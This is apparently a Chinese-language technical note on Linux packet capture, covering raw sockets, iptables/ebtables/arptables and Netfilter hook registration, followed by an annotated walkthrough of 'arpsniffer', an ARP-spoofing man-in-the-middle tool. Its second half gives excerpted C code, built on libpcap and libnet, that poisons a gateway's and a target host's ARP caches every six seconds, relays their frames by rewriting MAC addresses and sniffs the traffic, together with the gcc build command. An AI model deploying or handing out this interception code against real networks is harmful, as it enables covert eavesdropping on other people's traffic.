在应用层抓包用raw socket,就是fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
实际中常见的iptables是在ip协议栈上实现的,也就是Netfilter
还有ebtables,它的数据截获点比iptables 更“靠前”,它获得的数据更“原始”,ebtables多用于桥模式,比如控制 VLAN ID等
还有arptables,类似于iptables,iptables工作于ip层,用于对ip包进行管理,arptables工作与arp协议层,用于对arp数据帧进行管理
Netfilter
Netfilter在IP协议栈中有一些调用入口,包括,流入,流出,转发之类的地方,通过注册Netfilter模块可以将你需要的函数挂接到这些入口,就可以截取网络数据了
nfho.hook = hook_func;
nfho.hooknum = NF_IP_PRE_ROUTING;
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST;
第一行就是hook函数,
第二行设定挂接位置,包括:
NF_IP_PRE_ROUTING,在报文作路由以前执行
NF_IP_FORWARD,在报文转向另一个NIC以前执行;
NF_IP_POST_ROUTING,在报文流出以前执行;
NF_IP_LOCAL_IN,在流入本地的报文作路由以后执行;
NF_IP_LOCAL_OUT,在本地报文做流出路由前执行。
然后第三行第四行就是协议类型和优先级了
然后通过nf_register_hook函数将其挂入Netfilter框架中就可以了
整个是一个linux的模块,所以需要init_module()之类的模块函数
arpsniffer
先要安装下面两个库,这两个库用途是
Libpcap提供了系统独立的用户级别网络数据包捕获接口;Tcpdump就是依赖这个库来实现包的抓取
Libnet提供了一个对底层网络数据包进行构造、修改和发送的高级接口,arpsniffer就是利用这个库函数自行组包
初始化操作
pcap_lookupnet()得到要抓取的网络设备的字符串
pcap_open_live()被用来得到一个包抓取得描述符lpcap,PROMISC参数就是设置为混杂模式
libnet_init()得到一个组包的描述符lnet,LIBNET_LINK是基于link_layer的链路层数据包,还可以选择基于IP层的raw数据包
char dev[32]="";
libnet_t* lnet;
pcap_t* lpcap;
......
ret = pcap_lookupnet(dev,&netp,&maskp,err);
if(ret == -1)
{
printf("Can't initialize PCAP![%s]\n",err);
return FALSE;
}
lpcap = pcap_open_live(
dev,
MAXBUF,
PROMISC,
PCAP_TOUT,
err
);
lnet = libnet_init(
LIBNET_LINK,
dev,
err);
......
用ipmacaddr结构来记录网关,本机及目标机的MAC和IP,并利用Libpcap库函数得到相应的值
W是网关 M是本机 S是目标
/*
* W , S , M 's ip and mac address
*/
struct ipmacaddr
{
u_char ipW[4];
u_char macW[6];
u_char ipS[4];
u_char macS[6];
u_char ipM[4];
u_char macM[6];
};
欺骗网关
有了MAC和IP后,子进程每6S,网关的IP+本机MAC发ARP到目标机,目标机IP+本机MAC发ARP到网关
父进程处理源是网关MAC和目标机MAC的,且目的MAC是本机的包
网关到本机包,修改为本机到目标机;目标机到本机包,修改为本机到网关
正常情况下:
目标机包到网关,之后经过NAT就出去了
现在:
目标机包的目的MAC为本机MAC,代码中处理为本机MAC为发,目的MAC为网关MAC
网关包的目的MAC为本机MAC,代码中处理为本机MAC为发,目的MAC为目标机MAC
本机就相当于做了一个桥一样,目标机的包不管是收发都经过了本机,这样可以在本机上抓到目标机的所有包了
......
pid = fork();
if(pid==0)
{
arpspoof(lnet,&ipmac);
return FALSE;
}else
{
agentpacket(lnet,lpcap,&ipmac,port);
}
......
/*Send spoof arp S And W every 6 second interval*/
void arpspoof(libnet_t* lnet,struct ipmacaddr* ipmac)
{
while(TRUE)
{
arpsend(lnet,ipmac->macM,ipmac->ipS,ipmac->macW,ipmac->ipW);
arpsend(lnet,ipmac->macM,ipmac->ipW,ipmac->macS,ipmac->ipS);
sleep(6);
}
}
......
/*Forward packets W--->S or S--->W*/
int forwarddate(libnet_t* lnet,const u_char* packet,int len,u_char* macW,u_char* macS,u_char* macM)
{
int ret=0;
const u_char* datapoint=packet;
struct ether_header* ethhdr;
struct iphead* iph;
ethhdr = (struct ether_header*) datapoint;
if(ntohs(ethhdr->ether_type)!=ETHERTYPE_IP)
return TRUE;
if(!memcmp(ethhdr->ether_shost,macM,6)) /*if the Source Mac is agent(M)'s come back*/
return TRUE;
if(memcmp(ethhdr->ether_dhost,macM,6)) /*if the Source Mac Destination is't agent(M)'s come back*/
return TRUE;
if(!memcmp(ethhdr->ether_shost,macW,6)) /*if the Source Mac is W's(Workstation)*/
{
memcpy(ethhdr->ether_shost,macM,6);
memcpy(ethhdr->ether_dhost,macS,6);
ret = libnet_write_link(
lnet,
(u_char*)datapoint,
len
);
}
if(!memcmp(ethhdr->ether_shost,macS,6)) /*if the Source Mac is S S's(server)*/
{
memcpy(ethhdr->ether_shost,macM,6);
memcpy(ethhdr->ether_dhost,macW,6);
ret = libnet_write_link(
lnet,
(u_char*)datapoint,
len
);
}
return TRUE;
}
......
/*Sniffer packets*/
int agentpacket(libnet_t* lnet,pcap_t* lpcap,struct ipmacaddr* ipmac,int* port)
{
const u_char* packet;
struct pcap_pkthdr hdr;
while(1)
{
packet=pcap_next(lpcap,&hdr);
if(packet==NULL || hdr.len==0)
continue;
parsedate(packet,hdr.len,ipmac->macW,ipmac->macS,ipmac->macM,ipmac->ipW,ipmac->ipS,port);
forwarddate(lnet,packet,hdr.len,ipmac->macW,ipmac->macS,ipmac->macM);
}
return TRUE;
}
......
小结
gcc -o arpsniffer arpsniffer.c -I/usr/local/include -L/usr/local/lib -lpcap -lnet
libnet函数调用需要在root下运行